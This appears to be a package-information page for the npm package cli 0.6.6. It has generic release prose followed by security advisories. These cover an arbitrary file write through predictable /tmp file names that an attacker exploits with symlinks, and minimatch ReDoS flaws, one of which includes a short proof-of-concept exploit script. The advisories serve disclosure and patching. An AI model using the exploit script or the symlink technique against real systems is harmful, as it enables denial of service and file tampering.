The cli npm package, designed for quick command-line application development, saw a version update from 0.6.5 to 0.6.6 in March 2015. While both versions share the same core dependencies – glob for file pattern matching and exit for controlled process termination – along with unchanged repository information and author details (Chris O'Hara), the five-month gap between releases hints at potential bug fixes, performance improvements, or minor feature enhancements. Developers should examine the changelog, if available, to understand the specific changes incorporated in version 0.6.6.
For developers considering cli for their projects, it is important to note its reliance on glob, a utility for easily specifying file paths using wildcards, and exit, which helps manage the application's exit status. The repository URL points to a GitHub repository, allowing developers to contribute, report bugs, and examine the source code for deeper understanding and troubleshooting. The cli package, authored by Chris O'Hara, aims to streamline the development of command-line interfaces, potentially saving considerable time and effort. Staying updated on the latest version offers developers the most stable and feature-rich experience, taking advantage of improvements addressing possible issues present in prior releases. Always consult the official documentation of the package for detailed usage instructions and the available options.
All the vulnerabilities related to the version 0.6.6 of the package
Arbitrary File Write in cli
Affected versions of cli use predictable temporary file names. If an attacker can create a symbolic link at the location of one of these temporarly file names, the attacker can arbitrarily write to any file that the user which owns the cli process has permission to write to.
By creating Symbolic Links at the following locations, the target of the link can be written to.
lock_file = '/tmp/' + cli.app + '.pid',
log_file = '/tmp/' + cli.app + '.log';
Update to version 1.0.0 or later.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.